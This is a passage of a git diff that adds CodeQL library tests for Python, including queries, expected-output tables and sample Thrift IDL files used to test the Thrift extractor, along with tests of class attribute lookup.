| +| test.thrift:70:18:70:28 | field logid | 6 | file://:0:0:0:0 | xsdfieldoptions | +| test.thrift:70:18:70:28 | field logid | 7 | file://:0:0:0:0 | type_annotations | +| test.thrift:70:20:70:22 | type i32 | 0 | test.thrift:70:20:70:22 | I32 i32 | +| test.thrift:70:20:70:22 | type i32 | 0 | test.thrift:70:20:70:22 | type i32 | +| test.thrift:70:31:70:31 | fieldid | 0 | test.thrift:70:31:70:31 | INTCONSTANT 2 | +| test.thrift:70:31:70:38 | field w | 0 | test.thrift:70:31:70:31 | fieldid | +| test.thrift:70:31:70:38 | field w | 2 | test.thrift:70:33:70:36 | type Work | +| test.thrift:70:31:70:38 | field w | 3 | file://:0:0:0:0 | type_annotations | +| test.thrift:70:31:70:38 | field w | 4 | test.thrift:70:38:70:38 | IDENTIFIER w | +| test.thrift:70:31:70:38 | field w | 5 | file://:0:0:0:0 | fieldvalue | +| test.thrift:70:31:70:38 | field w | 6 | file://:0:0:0:0 | xsdfieldoptions | +| test.thrift:70:31:70:38 | field w | 7 | file://:0:0:0:0 | type_annotations | +| test.thrift:70:33:70:36 | type Work | 0 | test.thrift:70:33:70:36 | IDENTIFIER Work | +| test.thrift:70:49:70:49 | fieldid | 0 | test.thrift:70:49:70:49 | INTCONSTANT 1 | +| test.thrift:70:49:70:71 | field ouch | 0 | test.thrift:70:49:70:49 | fieldid | +| test.thrift:70:49:70:71 | field ouch | 2 | test.thrift:70:51:70:66 | type InvalidOperation | +| test.thrift:70:49:70:71 | field ouch | 3 | file://:0:0:0:0 | type_annotations | +| test.thrift:70:49:70:71 | field ouch | 4 | test.thrift:70:68:70:71 | IDENTIFIER ouch | +| test.thrift:70:49:70:71 | field ouch | 5 | file://:0:0:0:0 | fieldvalue | +| test.thrift:70:49:70:71 | field ouch | 6 | file://:0:0:0:0 | xsdfieldoptions | +| test.thrift:70:49:70:71 | field ouch | 7 | file://:0:0:0:0 | type_annotations | +| test.thrift:70:49:70:71 | throws | 0 | test.thrift:70:49:70:71 | field ouch | +| test.thrift:70:51:70:66 | type InvalidOperation | 0 | test.thrift:70:51:70:66 | IDENTIFIER InvalidOperation | +| test.thrift:77:11:77:14 | type void | 0 | test.thrift:77:11:77:14 | VOID void | +| test.thrift:77:11:77:18 | function zip | 0 | file://:0:0:0:0 | oneway | +| test.thrift:77:11:77:18 | function zip | 1 | test.thrift:77:11:77:14 | type void | +| test.thrift:77:11:77:18 | function zip | 2 | test.thrift:77:16:77:18 | name | +| test.thrift:77:11:77:18 | function zip | 3 | file://:0:0:0:0 | throws | +| test.thrift:77:11:77:18 | function zip | 4 | file://:0:0:0:0 | type_annotations | +| test.thrift:77:16:77:18 | name | 0 | test.thrift:77:16:77:18 | IDENTIFIER zip | +| test.thrift:83:9:83:12 | type wood | 0 | test.thrift:83:9:83:12 | IDENTIFIER wood | +| test.thrift:83:9:83:17 | definition | 0 | test.thrift:83:9:83:17 | typedef duck | +| test.thrift:83:9:83:17 | typedef duck | 0 | test.thrift:83:9:83:12 | type wood | +| test.thrift:83:9:83:17 | typedef duck | 1 | file://:0:0:0:0 | type_annotations | +| test.thrift:83:9:83:17 | typedef duck | 2 | test.thrift:83:14:83:17 | name | +| test.thrift:83:9:83:17 | typedef duck | 3 | file://:0:0:0:0 | type_annotations | +| test.thrift:83:14:83:17 | name | 0 | test.thrift:83:14:83:17 | IDENTIFIER duck | diff --git a/python/ql/test/library-tests/thrift/Child.ql b/python/ql/test/library-tests/thrift/Child.ql new file mode 100644 index 00000000000..5645c53ddb0 --- /dev/null +++ b/python/ql/test/library-tests/thrift/Child.ql @@ -0,0 +1,5 @@ + +import external.Thrift + +from ThriftElement t, int n +select t, n, t.getChild(n) diff --git a/python/ql/test/library-tests/thrift/File.expected b/python/ql/test/library-tests/thrift/File.expected new file mode 100644 index 00000000000..501035c79c4 --- /dev/null +++ b/python/ql/test/library-tests/thrift/File.expected @@ -0,0 +1,63 @@ +| ADD | test.thrift | +| Animals | extended.thrift | +| AnotherError | extended.thrift | +| Calculator | test.thrift | +| DIVIDE | test.thrift | +| Error | extended.thrift | +| Extended | extended.thrift | +| InvalidOperation | test.thrift | +| MULTIPLY | test.thrift | +| Operation | test.thrift | +| SUBTRACT | test.thrift | +| TheShop | extended.thrift | +| ThirdKindOfError | extended.thrift | +| User | extended.thrift | +| Work | test.thrift | +| add | test.thrift | +| border | extended.thrift | +| calculate | test.thrift | +| cat | extended.thrift | +| cause | extended.thrift | +| comment | test.thrift | +| deaf | extended.thrift | +| dog | extended.thrift | +| duck | test.thrift | +| error | extended.thrift | +| foo | extended.thrift | +| getPet | extended.thrift | +| getUser | extended.thrift | +| i1 | extended.thrift | +| i2 | extended.thrift | +| i32 | extended.thrift | +| i32 | test.thrift | +| i64 | extended.thrift | +| id | extended.thrift | +| int | extended.thrift | +| int32 | extended.thrift | +| logid | test.thrift | +| mouse | extended.thrift | +| name | extended.thrift | +| napping | extended.thrift | +| nice | extended.thrift | +| num1 | test.thrift | +| num2 | test.thrift | +| op | test.thrift | +| ouch | test.thrift | +| owner | extended.thrift | +| ping | test.thrift | +| pining | extended.thrift | +| resting | extended.thrift | +| shrubbery | extended.thrift | +| shubbery | extended.thrift | +| string | extended.thrift | +| string | test.thrift | +| void | test.thrift | +| w | test.thrift | +| what | extended.thrift | +| what | test.thrift | +| why | extended.thrift | +| why | test.thrift | +| with_annotations | extended.thrift | +| with_throws | extended.thrift | +| wood | test.thrift | +| zip | test.thrift | diff --git a/python/ql/test/library-tests/thrift/File.ql b/python/ql/test/library-tests/thrift/File.ql new file mode 100644 index 00000000000..e4f497dbd01 --- /dev/null +++ b/python/ql/test/library-tests/thrift/File.ql @@ -0,0 +1,7 @@ + +import external.Thrift + + +from ThriftNamedElement t + +select t.getName(), t.getFile().getBaseName() \ No newline at end of file diff --git a/python/ql/test/library-tests/thrift/Function.expected b/python/ql/test/library-tests/thrift/Function.expected new file mode 100644 index 00000000000..7c05f8fb671 --- /dev/null +++ b/python/ql/test/library-tests/thrift/Function.expected @@ -0,0 +1,20 @@ +| extended.thrift:14:4:14:15 | function getUser | 0 | extended.thrift:14:17:14:24 | field id | +| extended.thrift:14:4:14:15 | function getUser | returns | extended.thrift:14:4:14:7 | type User | +| extended.thrift:14:4:14:15 | function getUser | throws | extended.thrift:14:35:14:47 | field error | +| extended.thrift:39:4:39:12 | function foo | 0 | extended.thrift:39:14:39:21 | field id | +| extended.thrift:39:4:39:12 | function foo | returns | extended.thrift:39:4:39:8 | type int32 | +| extended.thrift:39:4:39:12 | function foo | throws | extended.thrift:40:9:40:21 | field error | +| extended.thrift:39:4:39:12 | function foo | throws | extended.thrift:41:9:41:22 | field cause | +| extended.thrift:50:5:50:18 | function getPet | 0 | extended.thrift:51:9:51:30 | field owner | +| extended.thrift:50:5:50:18 | function getPet | returns | extended.thrift:50:5:50:11 | type Animals | +| extended.thrift:50:5:50:18 | function getPet | throws | extended.thrift:53:9:53:24 | field napping | +| extended.thrift:50:5:50:18 | function getPet | throws | extended.thrift:54:9:54:30 | field pining | +| extended.thrift:50:5:50:18 | function getPet | throws | extended.thrift:55:9:55:35 | field resting | +| extended.thrift:50:5:50:18 | function getPet | throws | extended.thrift:56:9:56:21 | field deaf | +| test.thrift:68:4:68:10 | function add | 0 | test.thrift:68:12:68:21 | field num1 | +| test.thrift:68:4:68:10 | function add | 1 | test.thrift:68:24:68:33 | field num2 | +| test.thrift:68:4:68:10 | function add | returns | test.thrift:68:4:68:6 | type i32 | +| test.thrift:70:4:70:16 | function calculate | 0 | test.thrift:70:18:70:28 | field logid | +| test.thrift:70:4:70:16 | function calculate | 1 | test.thrift:70:31:70:38 | field w | +| test.thrift:70:4:70:16 | function calculate | returns | test.thrift:70:4:70:6 | type i32 | +| test.thrift:70:4:70:16 | function calculate | throws | test.thrift:70:49:70:71 | field ouch | diff --git a/python/ql/test/library-tests/thrift/Function.ql b/python/ql/test/library-tests/thrift/Function.ql new file mode 100644 index 00000000000..ff891bd5ece --- /dev/null +++ b/python/ql/test/library-tests/thrift/Function.ql @@ -0,0 +1,12 @@ + +import external.Thrift + +from ThriftFunction t, string n, ThriftElement x +where +exists(int i | x = t.getArgument(i) and n = i.toString()) +or +x = t.getAThrows() and n = "throws" +or +x = t.getReturnType() and n = "returns" + +select t, n, x \ No newline at end of file diff --git a/python/ql/test/library-tests/thrift/References.expected b/python/ql/test/library-tests/thrift/References.expected new file mode 100644 index 00000000000..add320353f8 --- /dev/null +++ b/python/ql/test/library-tests/thrift/References.expected @@ -0,0 +1,4 @@ +| extended.thrift:14:4:14:7 | type User | extended.thrift:3:8:3:11 | struct User | +| extended.thrift:14:4:14:7 | type User | extended.thrift:3:8:3:11 | struct User | +| extended.thrift:51:21:51:24 | type User | extended.thrift:3:8:3:11 | struct User | +| test.thrift:70:33:70:36 | type Work | test.thrift:38:8:38:11 | struct Work | diff --git a/python/ql/test/library-tests/thrift/References.ql b/python/ql/test/library-tests/thrift/References.ql new file mode 100644 index 00000000000..c6621b44e95 --- /dev/null +++ b/python/ql/test/library-tests/thrift/References.ql @@ -0,0 +1,7 @@ + +import python +import external.Thrift + +from ThriftType t, ThriftStruct s +where t.references(s) +select t, s diff --git a/python/ql/test/library-tests/thrift/Service.expected b/python/ql/test/library-tests/thrift/Service.expected new file mode 100644 index 00000000000..60d57f5d581 --- /dev/null +++ b/python/ql/test/library-tests/thrift/Service.expected @@ -0,0 +1,7 @@ +| extended.thrift:12:9:12:16 | service Extended | getUser | extended.thrift:14:4:14:15 | function getUser | +| extended.thrift:37:9:37:19 | service with_throws | foo | extended.thrift:39:4:39:12 | function foo | +| extended.thrift:48:9:48:15 | service TheShop | getPet | extended.thrift:50:5:50:18 | function getPet | +| test.thrift:57:9:57:18 | service Calculator | add | test.thrift:68:4:68:10 | function add | +| test.thrift:57:9:57:18 | service Calculator | calculate | test.thrift:70:4:70:16 | function calculate | +| test.thrift:57:9:57:18 | service Calculator | ping | test.thrift:66:4:66:12 | function ping | +| test.thrift:57:9:57:18 | service Calculator | zip | test.thrift:77:11:77:18 | function zip | diff --git a/python/ql/test/library-tests/thrift/Service.ql b/python/ql/test/library-tests/thrift/Service.ql new file mode 100644 index 00000000000..801379c6a2e --- /dev/null +++ b/python/ql/test/library-tests/thrift/Service.ql @@ -0,0 +1,6 @@ + +import external.Thrift + + +from ThriftService service, string name +select service, name, service.getFunction(name) diff --git a/python/ql/test/library-tests/thrift/Test.expected b/python/ql/test/library-tests/thrift/Test.expected new file mode 100644 index 00000000000..8b1717cf09b --- /dev/null +++ b/python/ql/test/library-tests/thrift/Test.expected @@ -0,0 +1 @@ +| Thrift | diff --git a/python/ql/test/library-tests/thrift/Test.ql b/python/ql/test/library-tests/thrift/Test.ql new file mode 100644 index 00000000000..735b9ad0eae --- /dev/null +++ b/python/ql/test/library-tests/thrift/Test.ql @@ -0,0 +1,7 @@ + +import external.Thrift + +from string cls +where any(ThriftElement t).getAQlClass() = cls +select cls.prefix(6) + diff --git a/python/ql/test/library-tests/thrift/Value.expected b/python/ql/test/library-tests/thrift/Value.expected new file mode 100644 index 00000000000..4e0a78ffdc9 --- /dev/null +++ b/python/ql/test/library-tests/thrift/Value.expected @@ -0,0 +1,158 @@ +| extended.thrift:3:8:3:11 | IDENTIFIER User | User | +| extended.thrift:4:3:4:3 | INTCONSTANT 1 | 1 | +| extended.thrift:4:6:4:11 | STRING string | string | +| extended.thrift:4:13:4:16 | IDENTIFIER name | name | +| extended.thrift:7:11:7:15 | IDENTIFIER Error | Error | +| extended.thrift:8:3:8:3 | INTCONSTANT 1 | 1 | +| extended.thrift:8:6:8:8 | I32 i32 | i32 | +| extended.thrift:8:10:8:13 | IDENTIFIER what | what | +| extended.thrift:9:3:9:3 | INTCONSTANT 2 | 2 | +| extended.thrift:9:6:9:11 | STRING string | string | +| extended.thrift:9:13:9:15 | IDENTIFIER why | why | +| extended.thrift:12:9:12:16 | IDENTIFIER Extended | Extended | +| extended.thrift:14:4:14:7 | IDENTIFIER User | User | +| extended.thrift:14:9:14:15 | IDENTIFIER getUser | getUser | +| extended.thrift:14:17:14:17 | INTCONSTANT 1 | 1 | +| extended.thrift:14:19:14:21 | I32 i32 | i32 | +| extended.thrift:14:23:14:24 | IDENTIFIER id | id | +| extended.thrift:14:35:14:35 | INTCONSTANT 1 | 1 | +| extended.thrift:14:37:14:41 | IDENTIFIER Error | Error | +| extended.thrift:14:43:14:47 | IDENTIFIER error | error | +| extended.thrift:15:5:15:16 | IDENTIFIER doggy.window | doggy.window | +| extended.thrift:15:20:15:25 | LITERAL "true" | "true" | +| extended.thrift:15:28:15:40 | IDENTIFIER doggy.howmuch | doggy.howmuch | +| extended.thrift:15:44:15:47 | INTCONSTANT 1000 | 1000 | +| extended.thrift:19:9:19:11 | I32 i32 | i32 | +| extended.thrift:19:13:19:15 | IDENTIFIER int | int | +| extended.thrift:21:9:21:11 | I64 i64 | i64 | +| extended.thrift:21:13:21:19 | IDENTIFIER foo.bar | foo.bar | +| extended.thrift:21:23:21:29 | LITERAL "hello" | "hello" | +| extended.thrift:21:32:21:40 | IDENTIFIER shrubbery | shrubbery | +| extended.thrift:23:8:23:23 | IDENTIFIER with_annotations | with_annotations | +| extended.thrift:25:5:25:5 | INTCONSTANT 1 | 1 | +| extended.thrift:25:17:25:19 | IDENTIFIER int | int | +| extended.thrift:25:21:25:22 | IDENTIFIER i1 | i1 | +| extended.thrift:26:5:26:5 | INTCONSTANT 2 | 2 | +| extended.thrift:26:8:26:10 | IDENTIFIER int | int | +| extended.thrift:26:13:26:25 | IDENTIFIER type.annotate | type.annotate | +| extended.thrift:26:29:26:33 | LITERAL "foo" | "foo" | +| extended.thrift:26:36:26:37 | IDENTIFIER i2 | i2 | +| extended.thrift:27:5:27:5 | INTCONSTANT 3 | 3 | +| extended.thrift:27:8:27:15 | IDENTIFIER shubbery | shubbery | +| extended.thrift:27:17:27:20 | IDENTIFIER nice | nice | +| extended.thrift:27:23:27:37 | IDENTIFIER knights.who.say | knights.who.say | +| extended.thrift:27:41:27:44 | LITERAL "ni" | "ni" | +| extended.thrift:29:5:29:15 | IDENTIFIER struct.anno | struct.anno | +| extended.thrift:29:19:29:21 | LITERAL "y" | "y" | +| extended.thrift:31:6:31:12 | IDENTIFIER Animals | Animals | +| extended.thrift:32:5:32:7 | IDENTIFIER cat | cat | +| extended.thrift:32:11:32:11 | INTCONSTANT 1 | 1 | +| extended.thrift:33:5:33:9 | IDENTIFIER mouse | mouse | +| extended.thrift:33:13:33:13 | INTCONSTANT 2 | 2 | +| extended.thrift:34:5:34:7 | IDENTIFIER dog | dog | +| extended.thrift:35:5:35:13 | IDENTIFIER enum.anno | enum.anno | +| extended.thrift:35:17:35:19 | LITERAL "x" | "x" | +| extended.thrift:37:9:37:19 | IDENTIFIER with_throws | with_throws | +| extended.thrift:39:4:39:8 | IDENTIFIER int32 | int32 | +| extended.thrift:39:10:39:12 | IDENTIFIER foo | foo | +| extended.thrift:39:14:39:14 | INTCONSTANT 1 | 1 | +| extended.thrift:39:16:39:18 | I32 i32 | i32 | +| extended.thrift:39:20:39:21 | IDENTIFIER id | id | +| extended.thrift:40:9:40:9 | INTCONSTANT 1 | 1 | +| extended.thrift:40:11:40:15 | IDENTIFIER Error | Error | +| extended.thrift:40:17:40:21 | IDENTIFIER error | error | +| extended.thrift:41:9:41:9 | INTCONSTANT 3 | 3 | +| extended.thrift:41:11:41:16 | STRING string | string | +| extended.thrift:41:18:41:22 | IDENTIFIER cause | cause | +| extended.thrift:46:14:46:22 | IDENTIFIER shrubbery | shrubbery | +| extended.thrift:46:25:46:30 | IDENTIFIER border | border | +| extended.thrift:46:34:46:35 | IDENTIFIER ni | ni | +| extended.thrift:46:39:46:45 | LITERAL "false" | "false" | +| extended.thrift:48:9:48:15 | IDENTIFIER TheShop | TheShop | +| extended.thrift:50:5:50:11 | IDENTIFIER Animals | Animals | +| extended.thrift:50:13:50:18 | IDENTIFIER getPet | getPet | +| extended.thrift:51:9:51:9 | INTCONSTANT 1 | 1 | +| extended.thrift:51:21:51:24 | IDENTIFIER User | User | +| extended.thrift:51:26:51:30 | IDENTIFIER owner | owner | +| extended.thrift:53:9:53:9 | INTCONSTANT 1 | 1 | +| extended.thrift:53:12:53:16 | IDENTIFIER Error | Error | +| extended.thrift:53:18:53:24 | IDENTIFIER napping | napping | +| extended.thrift:54:9:54:9 | INTCONSTANT 2 | 2 | +| extended.thrift:54:12:54:23 | IDENTIFIER AnotherError | AnotherError | +| extended.thrift:54:25:54:30 | IDENTIFIER pining | pining | +| extended.thrift:55:9:55:9 | INTCONSTANT 3 | 3 | +| extended.thrift:55:12:55:27 | IDENTIFIER ThirdKindOfError | ThirdKindOfError | +| extended.thrift:55:29:55:35 | IDENTIFIER resting | resting | +| extended.thrift:56:9:56:9 | INTCONSTANT 4 | 4 | +| extended.thrift:56:12:56:16 | IDENTIFIER Error | Error | +| extended.thrift:56:18:56:21 | IDENTIFIER deaf | deaf | +| extended.thrift:59:5:59:22 | IDENTIFIER service.annotation | service.annotation | +| extended.thrift:59:26:59:32 | LITERAL "thing" | "thing" | +| test.thrift:3:9:3:23 | LITERAL "shared.thrift" | "shared.thrift" | +| test.thrift:15:7:15:9 | I32 i32 | i32 | +| test.thrift:15:11:15:23 | IDENTIFIER INT32CONSTANT | INT32CONSTANT | +| test.thrift:15:27:15:30 | INTCONSTANT 9853 | 9853 | +| test.thrift:16:11:16:16 | STRING string | string | +| test.thrift:16:18:16:23 | STRING string | string | +| test.thrift:16:26:16:36 | IDENTIFIER MAPCONSTANT | MAPCONSTANT | +| test.thrift:16:41:16:47 | LITERAL 'hello' | 'hello' | +| test.thrift:16:49:16:55 | LITERAL 'world' | 'world' | +| test.thrift:16:58:16:68 | LITERAL 'goodnight' | 'goodnight' | +| test.thrift:16:70:16:75 | LITERAL 'moon' | 'moon' | +| test.thrift:22:6:22:14 | IDENTIFIER Operation | Operation | +| test.thrift:23:3:23:5 | IDENTIFIER ADD | ADD | +| test.thrift:23:9:23:9 | INTCONSTANT 1 | 1 | +| test.thrift:24:3:24:10 | IDENTIFIER SUBTRACT | SUBTRACT | +| test.thrift:24:14:24:14 | INTCONSTANT 2 | 2 | +| test.thrift:25:3:25:10 | IDENTIFIER MULTIPLY | MULTIPLY | +| test.thrift:25:14:25:14 | INTCONSTANT 3 | 3 | +| test.thrift:26:3:26:8 | IDENTIFIER DIVIDE | DIVIDE | +| test.thrift:26:12:26:12 | INTCONSTANT 4 | 4 | +| test.thrift:38:8:38:11 | IDENTIFIER Work | Work | +| test.thrift:39:3:39:3 | INTCONSTANT 1 | 1 | +| test.thrift:39:6:39:8 | I32 i32 | i32 | +| test.thrift:39:10:39:13 | IDENTIFIER num1 | num1 | +| test.thrift:39:17:39:17 | INTCONSTANT 0 | 0 | +| test.thrift:40:3:40:3 | INTCONSTANT 2 | 2 | +| test.thrift:40:6:40:8 | I32 i32 | i32 | +| test.thrift:40:10:40:13 | IDENTIFIER num2 | num2 | +| test.thrift:41:3:41:3 | INTCONSTANT 3 | 3 | +| test.thrift:41:6:41:14 | IDENTIFIER Operation | Operation | +| test.thrift:41:16:41:17 | IDENTIFIER op | op | +| test.thrift:42:3:42:3 | INTCONSTANT 4 | 4 | +| test.thrift:42:15:42:20 | STRING string | string | +| test.thrift:42:22:42:28 | IDENTIFIER comment | comment | +| test.thrift:48:11:48:26 | IDENTIFIER InvalidOperation | InvalidOperation | +| test.thrift:49:3:49:3 | INTCONSTANT 1 | 1 | +| test.thrift:49:6:49:8 | I32 i32 | i32 | +| test.thrift:49:10:49:13 | IDENTIFIER what | what | +| test.thrift:50:3:50:3 | INTCONSTANT 2 | 2 | +| test.thrift:50:6:50:11 | STRING string | string | +| test.thrift:50:13:50:15 | IDENTIFIER why | why | +| test.thrift:57:9:57:18 | IDENTIFIER Calculator | Calculator | +| test.thrift:57:28:57:47 | IDENTIFIER shared.SharedService | shared.SharedService | +| test.thrift:66:4:66:7 | VOID void | void | +| test.thrift:66:9:66:12 | IDENTIFIER ping | ping | +| test.thrift:68:4:68:6 | I32 i32 | i32 | +| test.thrift:68:8:68:10 | IDENTIFIER add | add | +| test.thrift:68:12:68:12 | INTCONSTANT 1 | 1 | +| test.thrift:68:14:68:16 | I32 i32 | i32 | +| test.thrift:68:18:68:21 | IDENTIFIER num1 | num1 | +| test.thrift:68:24:68:24 | INTCONSTANT 2 | 2 | +| test.thrift:68:26:68:28 | I32 i32 | i32 | +| test.thrift:68:30:68:33 | IDENTIFIER num2 | num2 | +| test.thrift:70:4:70:6 | I32 i32 | i32 | +| test.thrift:70:8:70:16 | IDENTIFIER calculate | calculate | +| test.thrift:70:18:70:18 | INTCONSTANT 1 | 1 | +| test.thrift:70:20:70:22 | I32 i32 | i32 | +| test.thrift:70:24:70:28 | IDENTIFIER logid | logid | +| test.thrift:70:31:70:31 | INTCONSTANT 2 | 2 | +| test.thrift:70:33:70:36 | IDENTIFIER Work | Work | +| test.thrift:70:38:70:38 | IDENTIFIER w | w | +| test.thrift:70:49:70:49 | INTCONSTANT 1 | 1 | +| test.thrift:70:51:70:66 | IDENTIFIER InvalidOperation | InvalidOperation | +| test.thrift:70:68:70:71 | IDENTIFIER ouch | ouch | +| test.thrift:77:11:77:14 | VOID void | void | +| test.thrift:77:16:77:18 | IDENTIFIER zip | zip | +| test.thrift:83:9:83:12 | IDENTIFIER wood | wood | +| test.thrift:83:14:83:17 | IDENTIFIER duck | duck | diff --git a/python/ql/test/library-tests/thrift/Value.ql b/python/ql/test/library-tests/thrift/Value.ql new file mode 100644 index 00000000000..7cf83b1df65 --- /dev/null +++ b/python/ql/test/library-tests/thrift/Value.ql @@ -0,0 +1,5 @@ + +import external.Thrift + +from ThriftElement t +select t, t.getValue() \ No newline at end of file diff --git a/python/ql/test/library-tests/thrift/extended.thrift b/python/ql/test/library-tests/thrift/extended.thrift new file mode 100644 index 00000000000..7b17155c6a4 --- /dev/null +++ b/python/ql/test/library-tests/thrift/extended.thrift @@ -0,0 +1,60 @@ + + +struct User { + 1: string name +} + +exception Error { + 1: i32 what, + 2: string why +} + +service Extended { + + User getUser(1:i32 id) throws (1:Error error) + (doggy.window = "true", doggy.howmuch = 1000) + +} + +typedef i32 int; + +typedef i64(foo.bar = "hello") shrubbery; + +struct with_annotations { + + 1: optional int i1; + 2: int (type.annotate = "foo") i2; + 3: shubbery nice (knights.who.say = "ni"); + +} ( struct.anno = "y" ) + +enum Animals { + cat = 1, + mouse = 2, + dog +} ( enum.anno = "x" ) + +service with_throws { + + int32 foo(1:i32 id) throws ( + 1:Error error + 3:string cause + ) + +} + +typedef list border ( ni = "false" ) + +service TheShop { + + Animals getPet( + 1: required User owner + ) throws ( + 1: Error napping + 2: AnotherError pining + 3: ThirdKindOfError resting + 4: Error deaf + ) +} ( + service.annotation = "thing" +) diff --git a/python/ql/test/library-tests/thrift/options b/python/ql/test/library-tests/thrift/options new file mode 100644 index 00000000000..3eeb07bd643 --- /dev/null +++ b/python/ql/test/library-tests/thrift/options @@ -0,0 +1,2 @@ +semmle-extractor-options: -R . --filter=include:**/*.thrift --filter exclude:**/src_archive/** +automatic_locations: true diff --git a/python/ql/test/library-tests/thrift/test.py b/python/ql/test/library-tests/thrift/test.py new file mode 100644 index 00000000000..73d0ccb3630 --- /dev/null +++ b/python/ql/test/library-tests/thrift/test.py @@ -0,0 +1 @@ +#Check that thrift extractor works when there is a Python file with the same stem \ No newline at end of file diff --git a/python/ql/test/library-tests/thrift/test.thrift b/python/ql/test/library-tests/thrift/test.thrift new file mode 100644 index 00000000000..73a78b6c979 --- /dev/null +++ b/python/ql/test/library-tests/thrift/test.thrift @@ -0,0 +1,84 @@ + + +include "shared.thrift" + +namespace cpp tutorial +namespace d d +namespace java a.b.c.d.com +namespace php tutorial +namespace go xxxx + +/** + * Thrift also lets you define constants for use across languages. Complex + * types and structs are specified using JSON notation. + */ +const i32 INT32CONSTANT = 9853 +const map MAPCONSTANT = {'hello':'world', 'goodnight':'moon'} + +/** + * You can define enums, which are just 32 bit integers. Values are optional + * and start at 1 if not supplied, C style again. + */ +enum Operation { + ADD = 1, + SUBTRACT = 2, + MULTIPLY = 3, + DIVIDE = 4 +} + +/** + * Structs are the basic complex data structures. They are comprised of fields + * which each have an integer identifier, a type, a symbolic name, and an + * optional default value. + * + * Fields can be declared "optional", which ensures they will not be included + * in the serialized output if they aren't set. Note that this requires some + * manual management in some languages. + */ +struct Work { + 1: i32 num1 = 0, + 2: i32 num2, + 3: Operation op, + 4: optional string comment, +} + +/** + * Structs can also be exceptions, if they are nasty. + */ +exception InvalidOperation { + 1: i32 what, + 2: string why +} + +/** + * Ahh, now onto the cool part, defining a service. Services just need a name + * and can optionally inherit from another service using the extends keyword. + */ +service Calculator extends shared.SharedService { + + /** + * A method definition looks like C code. It has a return type, arguments, + * and optionally a list of exceptions that it may throw. Note that argument + * lists and exception lists are specified using the exact same syntax as + * field lists in struct or exception definitions. + */ + + void ping(), + + i32 add(1:i32 num1, 2:i32 num2), + + i32 calculate(1:i32 logid, 2:Work w) throws (1:InvalidOperation ouch), + + /** + * This method has a oneway modifier. That means the client only makes + * a request and does not listen for any response at all. Oneway methods + * must be void. + */ + oneway void zip() + +} + +#Python-style comments are allowed + +typedef wood duck + diff --git a/python/ql/test/library-tests/types/attributes/Test.expected b/python/ql/test/library-tests/types/attributes/Test.expected new file mode 100644 index 00000000000..d0d7283d4cd --- /dev/null +++ b/python/ql/test/library-tests/types/attributes/Test.expected @@ -0,0 +1,10 @@ +| 3 | class Base | class Base | C | class C | 5 | +| 3 | class Base | class Base | meth | Function meth | 7 | +| 10 | class Derived | class Base | C | class C | 5 | +| 10 | class Derived | class Base | meth | Function meth | 7 | +| 10 | class Derived | class Derived | C | class C | 5 | +| 10 | class Derived | class Derived | meth | Function meth | 12 | +| 16 | class Derived2 | class Base | C | class C | 5 | +| 16 | class Derived2 | class Base | meth | Function meth | 7 | +| 16 | class Derived2 | class Derived2 | C | class C | 21 | +| 16 | class Derived2 | class Derived2 | meth | Function meth | 18 | diff --git a/python/ql/test/library-tests/types/attributes/Test.ql b/python/ql/test/library-tests/types/attributes/Test.ql new file mode 100644 index 00000000000..a92064a2551 --- /dev/null +++ b/python/ql/test/library-tests/types/attributes/Test.ql @@ -0,0 +1,6 @@ +import python + +from ClassObject cls, ClassObject start, string name, Object val +where not name.substring(0, 2) = "__" and val = cls.lookupMro(start, name) +select +cls.getOrigin().getLocation().getStartLine(), cls.toString(), start.toString(), name, val.toString(), val.getOrigin().getLocation().getStartLine() \ No newline at end of file diff --git a/python/ql/test/library-tests/types/attributes/test.py b/python/ql/test/library-tests/types/attributes/test.py new file mode 100644 index 00000000000..1f3ba3def1b --- /dev/null +++ b/python/ql/test/library-tests/types/attributes/test.py @@ -0,0 +1,21 @@ + + +class Base(object): + + class C(object): pass + + def meth(self): + pass + +class Derived(Base): + + def meth(self): + super(Derived, self).meth() + super(Derived, self).x + +class Derived2(Base): + + def meth(self): + pass + + class C(object): pass diff --git a/python/ql/test/library-tests/types/classattr/ClassAttribute.expected b/python/ql/test/library-tests/types/classattr/ClassAttribute.expected new file mode 100644 index 00000000000..6dad8a5b12c --- /dev/null +++ b/python/ql/test/library-tests/types/classattr/ClassAttribute.expected @@ -0,0 +1,45 @@ +| class Base | declares | x | +| class Base | has | x | +| class Base2 | declares | x | +| class Base2 | has | x | +| class D1 | has | x | +| class D2 | has | x | +| class D3 | has | x | +| class Diamond | has | x | +| class New | declares | a1 | +| class New | declares | a2 | +| class New | declares | i1 | +| class New | declares | i2 | +| class New | declares | u1 | +| class New | declares | u2 | +| class New | has | a1 | +| class New | has | a2 | +| class New | has | i1 | +| class New | has | i2 | +| class New | has | u1 | +| class New | has | u2 | +| class NewDerived | has | a1 | +| class NewDerived | has | a2 | +| class NewDerived | has | i1 | +| class NewDerived | has | i2 | +| class NewDerived | has | u1 | +| class NewDerived | has | u2 | +| class Old | declares | a1 | +| class Old | declares | a2 | +| class Old | declares | i1 | +| class Old | declares | i2 | +| class Old | declares | u1 | +| class Old | declares | u2 | +| class Old | has | a1 | +| class Old | has | a2 | +| class Old | has | i1 | +| class Old | has | i2 | +| class Old | has | u1 | +| class Old | has | u2 | +| class OldDerived | has | a1 | +| class OldDerived | has | a2 | +| class OldDerived | has | i1 | +| class OldDerived | has | i2 | +| class OldDerived | has | u1 | +| class OldDerived | has | u2 | +| class Tree | has | x | diff --git a/python/ql/test/library-tests/types/classattr/ClassAttribute.ql b/python/ql/test/library-tests/types/classattr/ClassAttribute.ql new file mode 100644 index 00000000000..6895020718e --- /dev/null +++ b/python/ql/test/library-tests/types/classattr/ClassAttribute.ql @@ -0,0 +1,19 @@ +/** + * @name ClassAttribute + * @description Test for Class attributes + * @kind test + */ + +import python + +from ClassObject cls, string name, string kind +where +not cls.isC() and +not name.matches("\\_\\_%\\_\\_") and +( + cls.hasAttribute(name) and kind = "has" + or + cls.declaresAttribute(name) and kind = "declares" +) +select cls.toString(), kind ,name + diff --git a/python/ql/test/library-tests/types/classattr/ClassMember.expected b/python/ql/test/library-tests/types/classattr/ClassMember.expected new file mode 100644 index 00000000000..24d4faa2871 --- /dev/null +++ b/python/ql/test/library-tests/types/classattr/ClassMember.expected @@ -0,0 +1,27 @@ +| class Base | declares | x | int 1 | +| class Base | has | x | int 1 | +| class Base2 | declares | x | int 2 | +| class Base2 | has | x | int 2 | +| class D1 | has | x | int 1 | +| class D2 | has | x | int 1 | +| class D3 | has | x | int 2 | +| class Diamond | has | x | int 1 | +| class New | declares | a2 | int 7 | +| class New | declares | i1 | int 5 | +| class New | declares | i2 | int 5 | +| class New | has | a2 | 